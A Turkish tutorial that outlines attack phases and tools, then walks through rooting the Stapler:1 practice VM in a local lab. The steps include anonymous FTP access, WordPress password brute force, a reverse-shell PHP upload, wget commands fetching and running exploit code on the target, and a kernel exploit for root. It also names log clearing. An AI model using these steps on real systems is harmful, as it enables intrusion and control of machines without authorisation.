1.    Sahiden Saldırılar Nasıl Yapılıyor?

Siber saldırılar, hedef alınan sistemlerdeki güvenlik açıklarını kullanarak yetkisiz erişim sağlama, kritik bilgilere ulaşma veya sistemleri işlevsiz hale getirme amacı taşır. Bu tür saldırılar genellikle şu temel aşamalardan oluşur:

  • Keşif (Reconnaissance): Hedef sistemin yapısını ve teknik özelliklerini anlayabilmek için bilgi toplama süreci.
  • Açık Tespiti (Vulnerability Scanning): Hedef sistemdeki güvenlik açıklarının belirlenmesi.
  • Açığın Kullanılması (Exploitation): Belirlenen açıkların kullanılarak hedef sisteme erişim sağlanması.
  • Sonuçlandırma (Post-Exploitation): Sistem üzerinde uzun ya da kısa vadeli amaçlara ulaşma, örneğin verilerin ele geçirilmesi ya da sistem kontrolünün sağlanması.

Her aşama, hedef sistemin özelliklerine ve saldırının amacına göre farklı stratejilerle gerçekleştirilir ve dikkatli bir planlama süreci gerektirir.

 

2.    Siber Saldırılar Hangi Türlere Ayrılır?

Siber saldırılar, farklı hedeflere ulaşmayı amaçlayan çeşitli tekniklere dayalı olarak farklı kategorilere ayrılır:

Web Uygulama Tabanlı Saldırılar

  • SQL Enjeksiyonu: Web uygulamalarındaki veri tabanlarına zararlı SQL komutları eklenerek yetkisiz erişim elde edilmesi.
  • XSS (Cross-Site Scripting): Zararlı JavaScript kodları kullanılarak kullanıcıların bilgilerini ele geçirme.
  • CSRF (Cross-Site Request Forgery): Kullanıcıları habersiz bir şekilde yetkisiz işlemleri onaylamaya yönlendirme.

Ağ Üzerinden Gerçekleştirilen Saldırılar

  • DDoS (Distributed Denial of Service): Hedefin işlevselliğini bozmak amacıyla yoğun trafiğe maruz bırakılması.
  • MITM (Man-in-the-Middle): İletişim sırasında trafiği gizlice izlemek ya da değiştirmek.

Sistem Tabanlı Tehditler

  • Yetki Yükseltme (Privilege Escalation): Kullanıcı izinlerinin artırılarak daha geniş erişim sağlanması.
  • Rootkit: Sistemin kontrolünü ele geçirebilmek için gizli erişim sağlama araçlarının kullanımı.

Sosyal Mühendislik Tabanlı Yaklaşımlar

  • Kimlik Avı (Phishing): Sahte web siteleri veya e-postalarla kişisel bilgilerin ele geçirilmesi.
  • Oltalama: Yanıltıcı mesajlar aracılığıyla kullanıcıların hassas verilerinin toplanması.

 

3.   Saldırıların Belli Adımları Var mı?

Evet, siber saldırılar çoğunlukla belirli bir yöntemsel ilerleyişi takip eder. Ancak bu süreç, hedef alınan sistemin özelliklerine ve saldırıyı gerçekleştiren kişinin amacına bağlı olarak farklılık gösterebilir.

Siber Saldırıların Temel Aşamaları

  1. Keşif (Reconnaissance): Hedef sistemle ilgili detaylı bilgi edinme süreci.
  2. Tarama (Scanning): Güvenlik açıklarını ve zafiyetleri tespit etme adımı.
  3. Sızma (Exploitation): Sistem güvenlik açıklarından yararlanarak yetkisiz giriş elde etme.
  4. Yetki Yükseltme (Privilege Escalation): Daha kapsamlı bir kontrol elde etmek için izinleri artırma.
  5. Sonuçlandırma (Post-Exploitation): Verilere erişim sağlamak ya da sistemde kalıcı kontrol elde etmek.

 

4.   Her Aşamada Kullanılan Araçlar ve Amaçlar

Siber saldırılar sırasında her aşamada farklı araçlar kullanılmaktadır. Bu araçlar, hedef sistemi daha etkili analiz etmek ve saldırıyı başarılı bir şekilde gerçekleştirmek için tasarlanmıştır.

  1. Keşif Aşaması:
    • Nmap: Portların taranması ve servislerin tespit edilmesi.
    • Netdiscover: Yerel ağdaki cihazların keşfedilmesi.
    • Whois: Alan adı ve IP adresi bilgilerini öğrenmek.
  1. Tarama Süreci:
    • Nikto: Web sunucularındaki güvenlik açıklarını analiz etmek.
    • Gobuster: Gizli dizin ve dosyaları ortaya çıkarmak.
    • Wpscan: WordPress zafiyetlerini ve kullanıcı adlarını tespit etmek.
  1. Sisteme Sızma:
    • Metasploit: Otomatik exploit araçları kullanarak sistem açığından faydalanmak.
    • Hydra: Brute-force saldırılarıyla şifre denemeleri yapmak.
    • SQLMap: SQL enjeksiyonlarını tespit edip kullanmak.
  1. Yetki Yükseltme:
    • LinPEAS: Linux sistemlerdeki zafiyetleri taramak.
    • GTFOBins: Komutlar aracılığıyla yetki yükseltme işlemleri.
    • Linux Exploit Suggester: Kernel açıklarını belirlemek.
  1. Sonuçlandırma:
    • Netcat: Sisteme arka kapı oluşturmak için kullanılır.
    • Log Temizleme: Geride iz bırakmamak için kayıtların temizlenmesi.

 

5.   Saldırı Metodolojisinde Değişken Faktörler

Siber saldırılar sırasında sonuçları belirleyen pek çok faktör bulunmaktadır:

  • Hedef Sistem: Linux, Windows veya web uygulamaları gibi farklı platformların özellikleri saldırının planlanmasını etkiler.
  • Zafiyetler: Her sistemin kendine özgü güvenlik açıkları bulunabilir ve bu açıkların türü saldırının yönünü belirler.
  • Kullanılan Araçlar: Saldırının amacı doğrultusunda seçilen araçlar ve exploit’ler, saldırının başarısında kritik bir rol oynar.

 

6.   Saldırı Mantığını Stapler:1 Üzerinde Uygulamak

Saldırı Sürecinde İzlenen Yöntemler

  1. Ağ Taraması: Hedef sistemin ağ yapısını analiz ederek bilgi toplama.
  2. Keşif Çalışmaları: robots.txt, myphpadmin gibi önemli dizin ve dosyaların incelenmesi.
  3. WordPress Taramaları: Kullanıcı hesaplarını belirleme ve şifre saldırıları gerçekleştirme.
  4. Netcat Kullanımı: Sistemle iletişim kurup shell açma.
  5. Yetki Yükseltme: Daha fazla kontrol sağlamak için gerekli adımların atılması.

 

Konfigürasyon Detayları

Bu işlemleri gerçekleştirmek için Kali Linux ve Stapler:1 makinelerini VirtualBox ortamında NAT ağına dahil ettim. Bu yapılandırma, hızlı bir şekilde yazılabilecek bir IP aralığı oluştururken aynı zamanda hedef makinenin dış ağlarla bağlantısını keserek güvenlik sağladı.

Kullanılan IP bloğu: 5.5.5.0/24

Sahip olduğum ip = 5.5.5.8

1) “netdiscover” Aracının Kullanılması

Resimdeki komut çalıştırıldığında, ağda bulunan diğer cihazların IP adresleri tespit edilebiliyor. Başlangıçta Stapler:1 makinesinin IP adresi bilinmiyor. Komut çalıştırıldıktan sonra elde edilen sonuçlar şu şekilde oldu:

Burada elde ettiğim bilgiye göre 5.5.5.7 adresi Stapler:1 makinesine ait olabilir diye düşünüyorum. Kontrol amaçlı bu IP adresini arama motorunda deniyorum.

Görüldüğü üzere bu IP adresine bağlanabiliyorum. Bu bize Stapler:1 makinesinin IP adresinin 5.5.5.7 olduğunu kanıtlıyor.

 

2) “nmap” Taramalarının Yapılması

Şimdi elimde Stapler:1 makinesinin IP adresi bulunuyor. Hemen hızlıca nmap taraması yapalim. Burada kullandığım komut ile bütün portlar üzerinde agresif bir tarama gerçekleştirmeye çalıştırdım. Bu sorgu sonuçlarını daha sonra işim düşerse diye çıktılarını bir dosya içine kaydettim. Yazdığım komut bunu da sağlıyor. Çıkan sonuçlarda göze çarpan yerler şu şekilde resimde gösterilmiştir.

Elde ettiğimiz veriler şu şekildedir:

1) FTP açık ve anonymous kullanıcıya izin verilmiş.

2) 80 portu açık yanı HTTP bağlantısı yapabiliriz.

3 )MySql için 3306 portu da açık bulunuyor.

4) 12380 portu diye garip bir port açık ve içinde Apache çalışıyor gözüküyor. Bu değerlendirilmesi gereken bir nokta. İlerde bu port üzerinde işlemler gerçekleşebilir.

O zaman şimdi elde ettiğimiz verileri kullanmaya başlayalım…

 

3) FTP üzerinde araştırma

Görüldüğü üzere FTP sunucusu açık gözüküyor. Bu yüzden de kendi bilgisayarımdan karşı bilgisayara FTP bağlantısı yapmalıyım. Bunun için şu şekilde yazıyorum:

Ben biliyorum ki FTP üzerinde anonymous kullanıcıya izin verilmiş.Bu bilgiye nmap taramasında ulaşmıştım. Bunun anlamı şu demektir. Eğer böyle bir izin var ise varsayılan olarak kullanıcı adı ve şifre şu şekilde olmaktadır.

kullanıcı adı: anonymous

şifre: anonymous

Bu bilgi her zaman aklımızda bulunsun. Hemen kullanıcı adı ve şifre ile giriş sağlıyorum.

Gördüğünüz gibi arkadaşlar başarılı bir şekilde giriş yaptım. Burada dikkat edilmesi gereken bir şey var. FTP sunucusuna bağlandığınızda ilk başta bir not görüyor olacaksınız. Burada Harry ismi dikkat çekici bir isim. Belki ilerde kullanırız diye aklımızda tutalım.

Daha sonra FTP sunucu içerisinde bulunan dosyaları listesini çıkardım. Bir tane dosya bulunuyor. Dosyanın ismi note.

note dosyasını görüntüledikten sonra bunu kendi bilgisayarıma indirdim. Bunu yapmak için get komutunu kullandım ve kullanım şekli bir önceki resimde mavi olarak işaretledim.

Burada hemen kendi bilgisayarıma geçip not dosyasını okudum. Burada da ilgi çeken isim Elly. Şu ana kadar iki kişinin ismini ele geçirdik: Harry ve Elly.

FTP için yapabileceklerim bu kadar. Şimdi nmap ile ettiğim diğer bilgileri kullanıyım.

 

4) 80 portu üzerinde işlemler

80 portu için ben dirb sorgusu gerçekleştirdim. Bunu yapmamın sebebi 80 portuna ait olabilecek dizinleri keşfetmeye çalışmaktı. Bu sorgunun çıktılarını da bir dosya içine kaydettim.

80 portu üzerinde yaptığım sonuçtan bir şey çıkmadı. Bulduğum dizinleri denedim ama sonuç alamadım. Muhtemelen 80 portundan bir şey elde edemeyeceğim. Moral bozmaya gerek yok 🙂 Hemen bir başka port olan 12380 portu üzerinde işlemler gerçekleştirmeye çalışalım 🙂

 

5) 12380 portu üzerinde işlemler

Nmap çıktımızda bu portun açık olduğunu ve içinde bir Apache sunucusu olduğunu öğrenmiştik. Şimdi bu port üzerinde arama gerçekleştirelim. Öncelikle bu port ile nereye gittiğimizi öğrenmek için web tarayıcısı üzerinde kontrol edelim.

Görüldüğü gibi web tarayıcıda 12380 portunu deneyince bir şeyler çıktı. O zaman hemen bu port üzerinde dirb komutunu çalıştıralım. Çıkan sonuçları da bir dosyaya kaydetmek ilerde tekrar kontrol etme aşamasında bize fayda sağlar.

Ama bunu çalıştırınca da bir şey bulamadım ve bu sinir bozucu hale geldi. Şu ana kadar elimize bir şey geçmedi. Daha sonra şunu dikkate alalım arkadaşlar. Bu ana kadar olan her işlemde HTTP bağlantısı kullandık. Bu tür zafiyetli makinelerde bazen HTTPS bağlantısı kullanmanız gerekebilir. Bu tamamen tecrübeye dayalı bir varsayım arkadaşlar. Kontrol etmekten bir zarar gelmez. Hemen web tarayıcısında HTTPS bağlantısı kuralım 12380 portunu kullanarak bir bağlantı gerçekleştirelim.

Arkadaşlar gördüğünüz gibi bağlandık. Eğer siz bağlanırken bir hata alırsanız bu sayfaya gitmek için karşınıza gelen hata mesajını kabul edin ve sayfaya devamı onaylayın. Burada artık HTTPS bağlantısı üzerinden bir dirb komutu çalıştıralım.

Arkadaşlar ben gene dirb sonuçlarını bir dosyaya kaydetmek istedim. Resimde gördüğünüz gibi daha ilk aramada çıkan sonuçlardan şunu çıkardım.

  • robots.txt dosyası var
  • /phpmyadmin/ sayfası var

Hemen robots.txt dosyasına gidiyorum.

Buradan gene altın gibi bilgiler öğrendik. Bu bilgiler;

  • /admin112233/ sayfası olduğunu
  • /blogblog/ sayfası olduğunu

Görüldüğü üzere bizi tuzağa düşürmek için kullanılan bir sayfaymış 🙂 Ama korkmayın bu tuzak temsili bir tuzak. Bize bu sayfadan bir şey bulamazsınız diyorlar 🙂

 

6) /blogblog/ sayfasına gitme

Bu resimde sayfaya HTTPS bağlantısı kullanarak başarılı bir şekilde gittik. Ama burada dikkat çekici bir nokta ise sayfasının sonunda bulunan bilgilerdir.

Evet arkadaşlar gördüğünüz gibi sayfa WordPress tabanlı bir sayfadır. Bu yüzden hemen WordPress ile ilgili zafiyet keşif aracını kullanalım.

 

7) Wpscan ile kullanıcı taraması

Artık uygulamamızın bir WordPress uygulaması olduğunu biliyoruz. Bu yüzden de Wpscan ile kullanıcı adlarını bulmayı deneyebiliriz.

Arkadaşlar bu komut ile WordPress uygulamalarında kullanıcı adlarını bulabilirsiniz. Burada sarı ok ile göstediğim şeyi açıklamam gerekiyor. Biz artık HTTPS bağlantısı gerçekleştirdiğimiz için Wpscan her aşamada SSL kontrolu yapmasın diye bunu disable etmemiz gerekiyor. Komutu bu olmadan çalıştıramazsınız.

Şimdi benim elde ettiğim kullanıcı adların şu şekildedir.

Benim bulduğum kullanıcı isimleri bu şekilde arkadaşlar. Listenin devamı var ama ben bir kısmını koydum. Şimdi istediğimiz kullanıcının şifresini kırmaya çalışabiliriz. Ben burada john seçiyorum. Wpscan ile belirlenen bir kullanıcı ismine göre şifre kırma saldırısı gerçekleştirilebilir.

Burada açıklamam gerekirse ‘- -passwords’ komutundan sonra bir wordlist vermemiz gerekiyor. Ben garanti olsun diye en büyük wordlist dosyasını verdim. Bunun için de uzantısını yazmanız yeterlidir. Bu şifre kırma olayı baya bir süre alıyor. Ben direk kendi bulduğum sonucu şu şekilde göstereyim.

Bu kullanıcı adı ve şifreyi elde ettikten sonra hemen WordPress’de default olan admin giriş sayfasına gidiyoruz. Admin giriş sayfasının uzantısı ‘wp-admin’ olur genelde. Aşağıdaki resimdeki uzantıya gidin ve kullanıcı adı ve şifreyi girin:

Kullanıcı adı: john

şifre: incorrect

Arkadaşlar, bir zararlı PHP kodu yükleyip çalıştırmak işimizi kolaylaştırabilir. Bunun için Admin paneline giderek şu adımları izleyebilirsiniz:

  • Plugins -> Add New -> Upload Plugins -> reverseshell.php

Yükleme sırasında FTP bilgileri istenecek, burada şu bilgileri kullanabilirsiniz:

Hostname: localhost, Kullanıcı Adı: anonymous, Şifre: anonymous.

Zararlı PHP dosyasını github üzerinden bulup üzerinde değişiklik yaparak wordpress arayüzüne yükleyecez:

Reverseshell.php dosyasını açtıktan sonra $ip ve $port parametresindeki değerleri sırasıyla kendi IP adresiniz ve iletişim kurmak istediğiniz port numarasını yazıp kaydedin. Ben 4444 portunu tercih ettim. 

 

8. Netcat Kullanımı

Oluşturulan bu PHP dosyasını admin panelinden yükleyin. Daha sonra bu dosyayı bulmanız gerekecek. dirb kullanarak WordPress uzantılı dizinlerde dosyanızı bulabilirsiniz:

  • https://<stapler ip>:12380/blogblog/wp-content/uploads

Bu dizinde PHP dosyasını bulduktan sonra bekleyin. Ardından terminalden resimdeki komutu yazıp enterlayın. Sonra PHP dosyasına tıklayın. Artık shell açtınız.

Artık içerdeyiz. Ama işimiz daha bitmedi. Varsayılan oturuma ayarlayıp dosyaları gezebilmemiz ve root yetkisine yükselmemiz lazım. Hadi başlayalım.

 

9. Yetki Yükseltme

Sistemde shell aldım ve sistem hakkında bilgi öğrenmek için şu python kodunu çalıştırdım.

  • python -c ‘import pty;pty.spawn(“/bin/bash/”)’
  • lsb_release -a

Ve artık sistem hakkında bilgi sahibiyiz. Hemen /tmp dizinine gidelim.

Burada zafiyetli makinemizin sistem açıklarını bulması için bir dosya indirmem gerekiyor.

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

Yukarıdaki komutu çalıştırın.

les.sh dosyası indi gördüğünüz gibi. Hemen bu dosyayı çalıştıralım.

  • bash les.sh

Şimdi bu komut bize sistemdeki açıklıkları listeleyecek. Buradan da istediğimiz zafiyeti seçebiliriz. Zafiyet listesi şu şekilde çıktı.

Ben burada bu zafiyeti kullandım. Bakın zaten zafiyeti indireceğimiz download url adresi de verilmiş. Hemen bu url adresini kopyalıyorum ve wget komutu ile bilgisayara indiriyorum.

  • wget <url>

İnen dosyayı listeliyorum. Zip dosyası olduğu için unzip yapmam lazım. Benim dosya ismim 39772.

  • unzip <dosya ismi>

Çıkarılan zip dosyasının içine giriyorum. Burada exploit.tar ve crasher.tar dosyaları bulunmaktadır. Hemen exploit.tar dosyasını tar dosyasından çıkarıyorum.

  • tar xf exploit.tar

Daha sonra da yaptığım işlemler şunlardır:

  • cd ebpf_mapfd_doubleput_exploit
  • bash compile.sh

Bir süre sonra bize root yetkisini verecektir. Root olunca hemen /root dizini altına gidiyorum. Buradaki dosyaları görüntülüyorum.

Gördüğünüz gibi flag.txt dosyasında flag değerimizi bulduk. Ulaşan herkesi tebrik ediyorum.

Kapak fotoğrafı (Tima Miroshnichenko – People Hacking a Computer System) tarafından alınmıştır.

 

Bu makale https://smallseotools.com/tr/plagiarism-checker/ sitesi üzerinden 18.01.2025 tarihinde kontrol edilmiştir. Makale benzerlik değeri ile kabul edilmiştir.

 Results Completed: 100% Plagiarism: %6 Unique: %94

 

7. Kaynakça

 

Creative Commons LisansıBu eser Creative Commons Atıf-AynıLisanslaPaylaş 4.0 Uluslararası Lisansı ile lisanslanmıştır.